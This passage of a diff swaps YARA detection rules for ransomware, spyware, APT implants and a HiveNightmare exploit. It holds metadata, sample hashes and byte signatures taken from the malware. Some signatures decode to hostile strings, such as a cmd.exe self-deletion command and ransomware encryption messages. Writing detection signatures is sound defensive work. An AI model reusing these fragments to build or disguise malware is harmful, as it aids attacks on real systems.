"https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-05/BigLock/RAN_BigLock_Jun_2021_1.yara#L1-L18" license_url = "N/A" - logic_hash = "84c7f064fb813934e397d81dad8af6288cb919e046cd2bb16f9ca6dc348c43c2" - score = 75 + logic_hash = "f8407f39c4acef3546f8ddc22a04fb0534c5e1fa08d552654d9b9ebdf48fed94" + score = 50 quality = 75 tags = "FILE" - hash1 = "270b398b697f10b66828afe8d4f6489a8de48b04a52a029572412ae4d20ff89b" + hash1 = "877c612cf42d85b943010437599b828383ecdf02a17e2b017367db34637e5463" + level = "Experimental" + tlp = "White" + adversary = "-" strings: - $x1 = "C:\\Users\\J\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\AFFA0BDC.tmp" fullword wide - $x2 = "C:\\Users\\J\\AppData\\Local\\Temp\\AFFA0BDC.tmp" fullword wide - $x3 = "C:\\Windows\\system32\\FM20.DLL" fullword ascii - $x4 = "C:\\Users\\J\\AppData\\Local\\Temp\\VBE\\MSForms.exd" fullword ascii - $x5 = "C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" fullword ascii - $x6 = "C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" fullword ascii - $x7 = "*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" fullword wide - $x8 = "*\\G{BA45F137-16B2-487D-9A21-F38179C0576C}#2.0#0#C:\\Users\\J\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object" wide - $s9 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide - $s10 = "lIySgefa86jIfdEkSZVDoSs5BDkcalCieNBN4EqfVaEs2wWD4OjpTiOBqDrL3d9WCaDAKZpoJPRnoacfQPhucmy69axznNmRbRY12v3ez5PdAAnpAl5m5NUqKHBKCYb5" ascii - $s11 = "35mvkZ9ZvIttuHSTUKWZCdOsh5j4Y1p2pJ3vi5onOXnMcEPIUIK1UWAYq3noPeaDtAdUOxKYvIlNZbqMpJjqpxhCidfpQ9GJXStKA44w7UFlKV9oMK8f5Tn6tKMKsviw" ascii - $s12 = "*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual" wide - $s13 = "verkar.dll" fullword ascii - $s14 = "intc.dll" fullword ascii - $s15 = "YjAygups4wPzNU7lNIGBuFbv6Triw8rxEPLSjrYSKXdUV8QuzbwJvdHshfBvdh66er47iobvTX1FCqI8d6RuKRcBhsLdYCOC1hPEdTllabYHlcZ1FDsgyLuwoCZYM7Fq" ascii - $s16 = "MinuetsOs.dll" fullword wide - $s17 = "KaBYL8xLRpN7VMzibXEzxh2GetwfB6MY9k3dRCNncC5eiyKNTaTrcoUDi4TrLrkULX7KSvAHjrw4lXxPRSvBmvWUzz5WRwKTskBtBa4xIlhT1ZruGeI36SIqamksANYW" ascii - $s18 = "XmhvJDfd16Hxk6eRMKJ7sqYIVneFVN7iUzRF8or7LKNKW9bhf5a7V5OGwIIvyJrm8yMUoITytLvRMoVWm7z1NawYTkjzP5HbtBLxwp3GkLMjJ74iWVjBjzI8cWadyuRy" ascii - $s19 = "Sx3mdokmfv27AYhtFublOb5Exec1r1b5LAAbsRHrjLKTWiG4K9dKXbuQBxY9mt4nu7u9ygaWWTcczlRpGhpsXzgKgTI52IfZRxyZWHFD8pXd9sqqOJBedLy4ZT3OHe5n" ascii - $s20 = "C:\\Windows\\system32\\stdole2.tlb" fullword ascii + $s1 = { 33 d2 33 c9 44 8d 42 07 ff 15 97 20 04 00 4c 89 64 24 60 48 c7 44 24 68 07 00 00 00 66 44 89 64 24 50 41 b8 3f 00 00 00 48 8d 15 7e de 04 00 48 8d 4c 24 50 e8 24 5b ff ff 48 83 7c 24 60 00 0f 84 a0 00 00 00 0f 57 c0 33 c0 0f 11 45 90 0f 11 45 a0 0f 11 45 b0 0f 11 45 c0 0f 11 45 d0 0f 11 45 e0 48 89 45 f0 0f 11 44 24 70 48 89 45 80 48 8d 54 24 50 48 83 7c 24 68 08 48 0f 43 54 24 50 48 8d 44 24 70 48 89 44 24 48 48 8d 45 90 48 89 44 24 40 4c 89 64 24 38 4c 89 64 24 30 c7 44 24 28 00 00 00 08 c7 44 24 20 01 00 00 00 45 33 c9 45 33 c0 33 c9 ff 15 fa 1b 04 00 85 c0 74 26 ba ff ff ff ff 48 8b 4c 24 70 ff 15 b6 1c 04 00 48 8b 4c 24 78 ff 15 9b 1d 04 00 48 8b 4c 24 70 ff 15 90 1d 04 00 48 8b 54 24 68 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4c 24 50 48 8b c1 48 } + $s2 = { e8 4e da 01 00 4c 89 64 24 60 48 c7 44 24 68 07 00 00 00 66 44 89 64 24 50 41 b8 43 00 00 00 48 8d 15 e5 dd 04 00 48 8d 4c 24 50 e8 0b 5a ff ff 48 83 7c 24 60 00 0f 84 a0 00 00 00 0f 57 c0 33 c0 0f 11 45 90 0f 11 45 a0 0f 11 45 b0 0f 11 45 c0 0f 11 45 d0 0f 11 45 e0 48 89 45 f0 0f 11 44 24 70 48 89 45 80 48 8d 54 24 50 48 83 7c 24 68 08 48 0f 43 54 24 50 48 8d 44 24 70 48 89 44 24 48 48 8d 45 90 48 89 44 24 40 4c 89 64 24 38 4c 89 64 24 30 c7 44 24 28 00 00 00 08 c7 44 24 20 01 00 00 00 45 33 c9 45 33 c0 33 c9 ff 15 e1 1a 04 00 85 c0 74 26 ba ff ff ff ff 48 8b 4c 24 70 ff 15 9d 1b 04 00 48 8b 4c 24 78 ff 15 82 1c 04 00 48 8b 4c 24 70 ff 15 77 1c 04 00 48 8b 54 24 68 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4c 24 50 48 8b c1 48 81 fa 00 10 00 } + $s3 = { 45 33 c0 48 2b d0 48 8d 4d c7 e8 ba cf ff ff 0f 10 45 c7 0f 11 45 07 0f 10 4d d7 0f 11 4d 17 4c 89 6d d7 48 c7 45 df 07 00 00 00 66 44 89 6d c7 41 b0 01 48 8d 55 07 e8 bd 0b 00 00 90 48 8b 55 1f 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4d 07 48 8b c1 48 81 fa 00 10 00 00 72 19 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 0f 87 f9 09 00 00 e8 34 b6 01 00 90 ba 08 01 00 00 e8 d1 39 ff ff 4c 8b c0 48 c7 45 d7 04 01 00 00 48 c7 45 df 07 01 00 00 41 0f b7 c5 49 8b f8 b9 04 01 00 00 66 f3 ab 66 45 89 a8 08 02 00 00 4c 89 45 c7 48 8d 55 c7 48 83 7d df 08 49 0f 43 d0 44 8b 45 d7 48 8d 0d 83 c7 04 00 ff 15 7d f8 03 00 8b d0 48 8b 45 d7 48 3b d0 77 19 48 8d 45 c7 48 83 7d df 08 48 0f 43 45 c7 48 89 55 d7 66 44 89 2c } + $s4 = { 48 8b c3 48 8b 4d b7 48 2b c1 48 83 f8 15 0f 82 7b 04 00 00 4c 8d 4d a7 48 83 7d bf 08 4c 0f 43 4d a7 48 c7 44 24 30 15 00 00 00 48 8d 05 69 c2 04 00 48 89 44 24 28 48 89 4c 24 20 48 8d 4d 07 e8 86 17 00 00 90 45 33 c0 48 8d 55 07 e8 89 05 00 00 90 4c 8b 45 1f 49 83 f8 08 72 0c 49 ff c0 48 8b 55 } condition: - uint16( 0 ) == 0xcfd0 and filesize < 5000KB and 1 of ( $x* ) and 4 of them + uint16( 0 ) == 0x5a4d and filesize > 100KB and 3 of ( $s* ) } -rule ARKBIRD_SOLG_RAN_Conti_Dec_2021_1 : FILE +rule ARKBIRD_SOLG_Ran_Pay2Key_Nov_2020_1 : FILE { meta: - description = "Detect Conti ransomware (v3)" + description = "Detect Pay2Key ransomware" author = "Arkbird_SOLG" - id = "efa65b86-95d7-55fd-b98a-7b3c747a671c" - date = "2021-12-16" - modified = "2021-12-16" + id = "440b8128-4708-54ba-94c3-c0b522004da6" + date = "2020-12-01" + modified = "2020-12-14" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-16/RAN_Conti_Dec_2021_1.yara#L1-L19" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-14/Pay2Key/Ran_Pay2Key_Nov_2020_1.yar#L1-L31" license_url = "N/A" - logic_hash = "038ad0c7ffcabcaf85de1adadf8a386063f96d5cd0e348a3cea4ea3b7b10fe70" + logic_hash = "f1ea1ed141ba7a1eaaa34c216adebfacaa23ef8776a0216b778ccb34bd000590" score = 75 quality = 75 tags = "FILE" - hash1 = "a05c8129e607c6d0976d79f69c6a020d15767a9ef3a9c9f1570c5193a7b5b76b" - hash2 = "3125aa67fc6e09a00aad39e0eb8024b849d54de353b1a45b5297d4c5d5e87941" - hash3 = "03597628e999d791f4cc442328024235db9a929467a62ef0a00c91a76161f0e1" - tlp = "white" - adversary = "RAAS" + hash1 = "5bae961fec67565fb88c8bcd3841b7090566d8fc12ccb70436b5269456e55c00" + hash2 = "d2b612729d0c106cb5b0434e3d5de1a5dc9d065d276d51a3fb25a08f39e18467" + hash3 = "ea7ed9bb14a7bda590cf3ff81c8c37703a028c4fdb4599b6a283d68fdcb2613f" strings: - $s1 = { 81 ec 78 0b 00 00 c6 45 c4 00 c6 45 c5 48 c6 45 c6 45 c6 45 c7 64 c6 45 c8 45 c6 45 c9 46 c6 45 ca 45 c6 45 cb 46 c6 45 cc 45 53 c6 45 cd 45 bb 7f 00 00 00 c6 45 ce 45 8a 45 c5 80 7d c4 00 56 57 8b f9 75 2c 33 f6 66 0f 1f 44 00 00 8a 44 35 c5 b9 45 00 00 00 0f b6 c0 2b c8 6b c1 1b 99 f7 fb 8d 42 7f 99 f7 fb 88 54 35 c5 46 83 fe 0a 72 dc 8d 45 c5 89 85 88 f4 ff ff c6 45 b8 00 c6 45 b9 65 c6 45 ba 32 c6 45 bb 45 c6 45 bc 32 c6 45 bd 43 c6 45 be 32 c6 45 bf 6d c6 45 c0 32 c6 45 c1 32 c6 45 c2 32 8a 45 b9 80 7d b8 00 75 29 33 f6 8a 44 35 b9 b9 32 00 00 00 0f b6 c0 2b c8 8d 04 49 c1 e0 03 99 f7 fb 8d 42 7f 99 f7 fb 88 54 35 b9 46 83 fe 0a 72 d9 8d 45 b9 89 85 8c f4 ff ff 8d 8d 34 f7 ff ff c6 85 34 f7 ff ff 00 c6 85 35 f7 ff ff 6d c6 85 36 f7 ff ff 11 c6 85 37 f7 ff ff 54 c6 85 38 f7 ff ff 11 c6 85 39 f7 ff ff 58 c6 85 3a f7 ff ff 11 c6 85 3b f7 ff ff 58 c6 85 3c f7 ff ff 11 c6 85 3d f7 ff ff 5a c6 85 3e f7 ff ff 11 c6 85 3f f7 ff ff 56 c6 85 40 f7 ff ff 11 c6 85 41 f7 ff ff 11 c6 85 42 f7 ff ff 11 8a 85 35 f7 ff ff e8 e2 a2 00 00 89 85 90 f4 ff ff c6 85 c4 f8 ff ff 00 c6 85 c5 f8 ff ff 18 c6 85 c6 f8 ff ff 0c c6 85 c7 f8 ff ff 57 c6 85 c8 f8 ff ff 0c c6 85 c9 f8 ff ff 52 c6 85 ca f8 ff ff 0c c6 85 cb f8 ff ff 52 c6 85 cc f8 ff ff 0c c6 85 cd f8 ff ff 10 c6 85 ce f8 ff ff 0c c6 85 cf f8 ff ff 52 c6 85 d0 f8 ff ff 0c c6 85 d1 f8 ff ff 0c c6 85 d2 f8 ff ff 0c 8a 85 c5 f8 ff ff 80 bd c4 f8 ff ff 00 75 2a 33 c9 66 90 8a 84 0d c5 f8 ff ff 0f b6 c0 83 e8 0c 6b c0 19 99 f7 fb 8d 42 7f 99 f7 fb 88 94 0d c5 f8 ff ff 41 83 f9 0e 72 da 8d 85 c5 f8 ff ff 89 85 94 f4 ff ff c6 85 04 f9 ff ff 00 c6 85 05 f9 ff ff 74 c6 85 06 f9 ff ff 4d c6 85 07 f9 ff ff 23 c6 85 08 f9 ff ff 4d c6 85 09 f9 ff ff 72 c6 85 0a f9 ff ff 4d c6 85 0b f9 ff ff 72 c6 85 0c f9 ff ff 4d c6 85 0d f9 ff ff 5a c6 85 0e f9 ff ff 4d c6 85 0f f9 ff ff 42 c6 85 10 f9 ff ff 4d c6 85 11 f9 ff ff 4d c6 85 12 f9 ff ff 4d 8a 85 05 f9 ff ff 80 bd 04 f9 ff ff 00 75 2c 33 c9 0f 1f 40 00 8a 84 0d 05 f9 ff ff 0f b6 c0 83 e8 4d 6b c0 25 99 f7 fb 8d 42 7f 99 f7 fb 88 94 0d 05 f9 ff ff 41 83 f9 0e 72 da 8d 85 05 f9 ff ff 89 85 98 f4 ff ff c6 85 f4 f8 ff ff 00 c6 85 f5 f8 ff ff 46 c6 85 f6 f8 ff ff 02 c6 85 f7 f8 ff ff 2e c6 85 f8 f8 ff ff 02 c6 85 f9 f8 ff ff 3c c6 85 fa f8 ff ff 02 c6 85 fb f8 ff ff 3c c6 85 fc f8 ff ff 02 c6 85 fd f8 ff ff 43 c6 85 fe f8 ff ff 02 c6 85 } - $s2 = { c7 85 b8 f7 ff ff 00 00 00 00 8d 8d 60 f7 ff ff c6 85 60 f7 ff ff 00 c6 85 61 f7 ff ff 36 c6 85 62 f7 ff ff 7a c6 85 63 f7 ff ff 29 c6 85 64 f7 ff ff 7a c6 85 65 f7 ff ff 29 c6 85 66 f7 ff ff 7a c6 85 67 f7 ff ff 69 c6 85 68 f7 ff ff 7a c6 85 69 f7 ff ff 37 c6 85 6a f7 ff ff 7a c6 85 6b f7 ff ff 74 c6 85 6c f7 ff ff 7a c6 85 6d f7 ff ff 0f c6 85 6e f7 ff ff 7a c6 85 6f f7 ff ff 75 c6 85 70 f7 ff ff 7a c6 85 71 f7 ff ff 1d c6 85 72 f7 ff ff 7a c6 85 73 f7 ff ff 00 c6 85 74 f7 ff ff 7a c6 85 75 f7 ff ff 7a c6 85 76 f7 ff ff 7a 8a 85 61 f7 ff ff e8 e7 bb 00 00 6a 07 68 8f cf af 70 ba 19 00 00 00 8b f0 e8 04 db ff ff 83 c4 08 56 ff d0 8b 8d b4 f7 ff ff 8d b5 b8 f7 ff ff 56 ff b5 a8 f7 ff ff 8b 11 6a 00 6a 00 6a 00 6a 00 6a 00 50 51 ff 52 0c 8b f0 c7 85 8c f7 ff ff d6 00 6a 00 8b 85 8c f7 ff ff 99 f7 fb 85 d2 74 50 8b 8d 8c f7 ff ff 8b 85 b8 f7 ff ff 83 c0 02 03 c1 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 05 48 83 c8 fc 40 0f 85 50 01 00 00 66 90 ff 85 8c f7 ff } - $s3 = { 75 f5 88 8d 50 f6 ff ff c6 85 51 f6 ff ff 48 c6 85 52 f6 ff ff 20 c6 85 53 f6 ff ff 5e c6 85 54 f6 ff ff 20 c6 85 55 f6 ff ff 7d c6 85 56 f6 ff ff 20 c6 85 57 f6 ff ff 39 c6 85 58 f6 ff ff 20 c6 85 59 f6 ff ff 33 c6 85 5a f6 ff ff 20 c6 85 5b f6 ff ff 2a c6 85 5c f6 ff ff 20 c6 85 5d f6 ff ff 33 c6 85 5e f6 ff ff 20 c6 85 5f f6 ff ff 4d c6 85 60 f6 ff ff 20 c6 85 61 f6 ff ff 6e c6 85 62 f6 ff ff 20 c6 85 63 f6 ff ff 48 c6 85 64 f6 ff ff 20 c6 85 65 f6 ff ff 4d c6 85 66 f6 ff ff 20 c6 85 67 f6 ff ff 1b c6 85 68 f6 ff ff 20 c6 85 69 f6 ff ff 3a c6 85 6a f6 ff ff 20 c6 85 6b f6 ff ff 52 c6 85 6c f6 ff ff 20 c6 85 6d f6 ff ff 47 c6 85 6e f6 ff ff 20 c6 85 6f f6 ff ff 09 c6 85 70 f6 ff ff 20 c6 85 71 f6 ff ff 14 c6 85 72 f6 ff ff 20 c6 85 73 f6 ff ff 7d c6 85 74 f6 ff ff 20 c6 85 75 f6 ff ff 49 c6 85 76 f6 ff ff 20 c6 85 77 f6 ff ff 74 c6 85 78 f6 ff ff 20 c6 85 79 f6 ff ff 1f c6 85 7a f6 ff ff 20 c6 85 7b f6 ff ff 52 c6 85 7c f6 ff ff 20 c6 85 7d f6 ff ff 71 c6 85 7e f6 ff ff 20 c6 85 7f f6 ff ff 5f c6 85 80 f6 ff ff 20 c6 85 81 f6 ff ff 1f c6 85 82 f6 ff ff 20 c6 85 83 f6 ff ff 54 c6 85 84 f6 ff ff 20 c6 85 85 f6 ff ff 33 c6 85 86 f6 ff ff 20 c6 85 87 f6 ff ff 5e c6 85 88 f6 ff ff 20 c6 85 89 f6 ff ff 44 c6 85 8a f6 ff ff 20 c6 85 8b f6 ff ff 0f c6 85 8c f6 ff ff 20 c6 85 8d f6 ff ff 52 c6 85 8e f6 ff ff 20 c6 85 8f f6 ff ff 74 c6 85 90 f6 ff ff 20 c6 85 91 f6 ff ff 13 c6 85 92 f6 ff ff 20 c6 85 93 f6 ff ff 33 c6 85 94 f6 ff ff 20 c6 85 95 f6 ff ff 5e c6 85 96 f6 ff ff 20 c6 85 97 f6 ff ff 52 c6 85 98 f6 ff ff 20 c6 85 99 f6 ff ff 47 c6 85 9a f6 ff ff 20 c6 85 9b f6 ff ff 31 c6 85 9c f6 ff ff 20 c6 85 9d f6 ff ff 5b c6 85 9e f6 ff ff 20 c6 85 9f f6 ff ff 1b c6 85 a0 f6 ff ff 20 c6 85 a1 f6 ff ff 39 c6 85 a2 f6 ff ff 20 c6 85 a3 f6 ff ff 33 c6 85 a4 f6 ff ff 20 c6 85 a5 f6 ff ff 2a c6 85 a6 f6 ff ff 20 c6 85 a7 f6 ff ff 33 c6 85 a8 f6 ff ff 20 c6 85 a9 f6 ff ff 4d c6 85 aa f6 ff ff 20 c6 85 ab f6 ff ff 1f c6 } + $s1 = "F:\\2-Sources\\21-FinalCobalt\\Source\\cobalt\\Cobalt\\Cobalt\\Win32\\Release\\Client\\Cobalt.Client.pdb" fullword ascii + $s2 = ".\\Cobalt-Client-log.txt" fullword ascii + $s3 = ".\\Config.ini" fullword wide + $s4 = "Local\\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag" fullword ascii + $s5 = "\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" fullword ascii + $s6 = { 40 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 31 00 2e 00 31 00 2e 00 31 00 2e 00 31 00 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 33 00 30 00 30 00 30 00 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 44 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 } + $s7 = "%WINDRIVE%" fullword wide + $s8 = "%WINDIR%" fullword wide + $dbg1 = "message.txt" fullword ascii + $dbg2 = "Failed To Get Data...." fullword ascii + $dbg3 = "lock.locked()" fullword wide + $dbg4 = { 47 65 74 41 64 61 70 74 65 72 73 49 6e 66 6f 20 66 61 69 6c 65 64 20 77 69 74 68 20 65 72 72 6f 72 3a 20 25 64 0a } + $dbg5 = { 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 20 66 61 69 6c 65 64 3a 20 25 78 0a } + $dbg6 = { 43 72 79 70 74 44 65 72 69 76 65 4b 65 79 20 66 61 69 6c 65 64 3a 20 25 78 0a 00 00 25 00 64 } + $dbg7 = { 5b 2d 5d 20 43 72 79 70 74 45 6e 63 72 79 70 74 20 66 61 69 6c 65 64 0a } condition: - uint16( 0 ) == 0x5A4D and filesize > 100KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 500KB and ( 5 of ( $s* ) and 4 of ( $dbg* ) ) } -rule ARKBIRD_SOLG_MAL_Pseudomanuscrypt_Dec_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Avoslocker_July_2021_1 : FILE { meta: - description = "Detect PseudoManuscrypt loader dropped by the installer" + description = "Detect AvosLocker ransomware" author = "Arkbird_SOLG" - id = "8784baa0-c52c-5ee0-9a92-9b6457df61ed" - date = "2021-12-16" - modified = "2021-12-17" - reference = "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-PseudoManuscrypt-a-mass-scale-spyware-attack-campaign-En.pdf" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-16/MAL_PseudoManuscrypt_Dec_2021_1.yara#L1-L22" + id = "3fbc707f-9802-54bc-933b-bc4c4953b1d0" + date = "2021-07-23" + modified = "2021-07-24" + reference = "https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/AvosLocker/RAN_AvosLocker_July_2021_1.yara#L1-L23" license_url = "N/A" - logic_hash = "e304323ed26c7040c97efa8041bcd3eb2f6d0caeba76d6674fc2947d7850e830" + logic_hash = "e2291f574b5ab68e901a76b6511e0ee4c1eee51d5e3eced62bf68ceedb061958" score = 75 quality = 75 tags = "FILE" - hash1 = "19627bcee38a4ca5ae9a60c71ee7a2e388ba99fb8b229700a964a084db236e1f" - hash2 = "be94df270acfc8e5470fa161b808d0de1c9e85efeeff4a5d82f5fd09629afa8e" - hash3 = "de965e33dff58cf011106feacef2f804d9e35d00b8b5ff7064e5b7afee46d72c" - hash4 = "e32899bef78f6af4a155f738298e042f72fe5e643ec934f8778180f71e511727" + hash1 = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856" + hash2 = "fb544e1f74ce02937c3a3657be8d125d5953996115f65697b7d39e237020706f" tlp = "white" adversary = "-" strings: - $s1 = { 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 43 72 79 70 74 6f 67 72 61 70 68 79 00 7b 47 36 35 37 59 53 30 36 2d 30 31 36 44 2d 34 43 30 52 2d 36 30 32 32 2d 46 47 45 32 43 33 32 32 36 36 37 46 7d 00 00 4d 61 63 68 69 6e 65 47 75 69 64 } - $s2 = { 45 ?? 5c 43 4c 53 c7 45 ?? 49 44 5c 25 c7 45 ?? 73 00 00 00 c7 45 ?? 47 6c 6f 62 c7 45 ?? 61 6c } - $s3 = { 56 69 72 74 c7 [2-4] 75 61 6c 41 c7 [2-4] 6c 6c 6f 63 ff 15 } - $s4 = { 4c 6f 61 64 65 72 2e 64 6c 6c 00 53 65 72 76 69 63 65 4d 61 69 6e } - $s5 = { 2e 72 73 72 63 24 30 31 00 00 00 00 a0 ?? 00 00 ?? 04 00 00 2e 72 73 72 63 24 30 32 } + $s1 = { 64 72 69 76 65 20 25 73 20 74 6f 6f 6b 20 25 66 20 73 65 63 6f 6e 64 73 0a 00 00 00 25 63 3a 00 64 72 69 76 65 3a 20 25 73 } + $s2 = { 63 6c 69 65 6e 74 5f 72 73 61 5f 70 72 69 76 3a 20 25 73 0a } + $s3 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 45 4e 44 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d } + $s4 = { ff 35 b8 2c 46 00 88 9d 7c ef ff ff e8 3c 56 02 00 50 8d 85 71 ef ff ff 50 e8 c5 9e ff ff 83 c4 0c 8d 85 94 ef ff ff 50 53 53 68 14 01 00 00 ff 35 b8 2c 46 00 ff b5 90 ef ff ff ff 15 00 a0 44 00 85 c0 0f 85 cd 00 00 00 8b 35 48 a0 44 00 8d 85 98 fe ff ff 53 68 ff 00 00 00 50 68 00 04 00 00 ff d6 50 53 68 00 10 00 00 ff 15 44 a0 44 00 b1 3e c7 85 70 ef ff ff 3e 7b 6c 6c c7 85 74 ef ff ff 71 6c 04 1e 8b c3 c7 85 78 ef ff ff 1b 4d 34 00 30 8c 05 71 ef ff ff 40 83 f8 0a 73 08 8a 8d 70 ef ff ff eb eb 8d 85 98 fe ff ff 88 9d 7b ef ff ff 50 8d 85 71 ef ff ff 50 e8 23 9e ff ff 0f 28 05 00 8b 45 00 59 0f 11 85 48 ef ff ff 59 0f 28 05 40 8b 45 00 8b cb 0f 11 85 58 ef ff ff 66 c7 } + $s5 = { 38 9d a0 fd ff ff 74 0c ff b5 94 fd ff ff e8 a6 ca ff ff 59 8d 85 ac fd ff ff 50 56 ff 15 48 a1 44 00 85 c0 0f 85 4d ff ff ff 8b 85 a4 fd ff ff 8b 8d 84 fd ff ff 8b 10 8b 40 04 2b c2 c1 f8 02 3b } + $s6 = { 4d 61 70 3a 20 25 73 0a 00 00 00 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6e 00 67 00 20 00 25 00 6c 00 73 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 } + $s7 = { 44 6f 6e 65 21 21 0a 00 25 66 20 73 65 63 6f 6e 64 73 0a } + $s8 = { 56 68 01 00 00 08 6a 01 52 ff 15 14 a0 44 00 85 c0 0f 84 97 00 00 00 8d 45 f8 50 53 53 6a 06 53 ff 36 8b 1d 20 a0 44 00 ff d3 85 c0 74 73 ff 75 f8 e8 3b a7 01 00 a3 b8 2c 46 00 59 85 c0 } condition: - uint16( 0 ) == 0x5A4D and filesize > 3KB and filesize < 30KB and all of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 50KB and 6 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Molerats_Feb_2021_1 : FILE +rule ARKBIRD_SOLG_Exp_CVE_2021_36934_July_2021_1 : FILE { meta: - description = "Detect Molerats implants" + description = "Detect CVE_2021_36934 exploit (HiveNightmare)" author = "Arkbird_SOLG" - id = "8ede3aa9-9788-52a5-91a7-bb160daad5ba" - date = "2021-02-27" - modified = "2021-03-01" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-28/Molerats/APT_Molerats_Feb_2021_1.yar#L1-L23" + id = "3a0ed4f7-8a99-569f-a636-4cd64c2121bb" + date = "2021-07-23" + modified = "2021-07-23" + reference = "https://github.com/GossiTheDog/HiveNightmare" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/HiveNightmare/Exp_CVE_2021_36934_July_2021_1.yara#L1-L23" license_url = "N/A" - logic_hash = "fbd98f088019434f736107dfe62a307e2c57d0288d68f3133a13de59bf318aea" + logic_hash = "2fd6cdf8a81f239473716d2c10a1754ebb2c60099eebd9d0cc1450ad3441075b" score = 75 - quality = 75 + quality = 48 tags = "FILE" - hash1 = "0a55551ade55705d4be6e946ab58a26d7cf8087558894af8799931b09d38f3bc" - hash2 = "c9d7b5d06cd8ab1a01bf0c5bf41ef2a388e41b4c66b1728494f86ed255a95d48" + hash1 = "0009d4950559b508353b951a314c5ac0aaae8161751017d3d4681dc805374eaa" + hash2 = "7baab69f86b50199456c9208624dd16aeb0d18d8a6f2010ee6501a183476f12f" + hash3 = "9035f88894a937892c63ac9a3c6c16301c7ecea7c11cf31d0fd24c39f17c8c2f" + tlp = "white" + adversary = "-" strings: - $seq1 = { 55 8b ec 81 c4 60 fc ff ff 53 33 d2 89 95 60 fc ff ff 89 45 fc 33 c0 55 68 [1-3] 00 64 ff 30 64 89 20 8b 45 fc 83 78 44 00 0f 85 5d 01 00 00 b2 01 a1 [2] 44 00 e8 [3] ff 8b 55 fc 89 42 44 8b 45 fc 83 c0 48 e8 [3] ff 8d 85 ec fe ff ff 50 6a 40 e8 [3] ff 48 85 c0 0f 8c 18 01 00 00 40 89 45 f0 8d 85 ec fe ff ff 89 45 ec 8b 45 ec 8b 00 e8 35 ?? f5 ff 84 c0 0f 84 ec 00 00 00 8d 45 f4 50 68 19 00 02 00 6a 00 6a 00 8b 45 ec 0f b7 00 89 85 64 fc ff ff c6 85 68 fc ff ff 00 8d 8d 64 fc ff ff ba [3] 00 8d 85 6c fc ff ff e8 [3] ff 50 68 02 00 00 80 e8 [3] ff 85 c0 0f 85 a3 00 00 00 33 c0 55 68 [3] 00 64 ff 30 64 89 20 c7 45 f8 00 02 00 00 8d 45 f8 50 8d 85 ec fc ff ff 50 6a 00 6a 00 68 [3] 00 8b 45 f4 50 e8 [3] ff 85 c0 75 4f 8d 85 60 fc ff ff 8d 95 ec fc ff ff b9 00 01 00 00 e8 [3] ff 8b 95 60 fc ff ff 8b 45 ec 8b 08 8b 45 fc 8b 40 44 8b 18 ff 53 40 8b 45 ec 8b 00 8b 55 fc 3b 42 4c 75 16 8b 45 fc 83 c0 48 8d 95 ec fc ff ff b9 00 01 00 00 e8 [3] ff 33 c0 5a 59 59 64 89 10 68 [3] 00 8b 45 f4 50 e8 [3] ff } - $seq2 = { 55 8b ec 81 c4 e4 fd ff ff 53 8b da 89 45 fc 8b 45 fc e8 [2] ff ff 33 c0 55 68 [2] 40 00 64 ff 30 64 89 20 83 7d fc 00 75 15 68 05 01 00 00 8d 85 e6 fd ff ff 50 6a 00 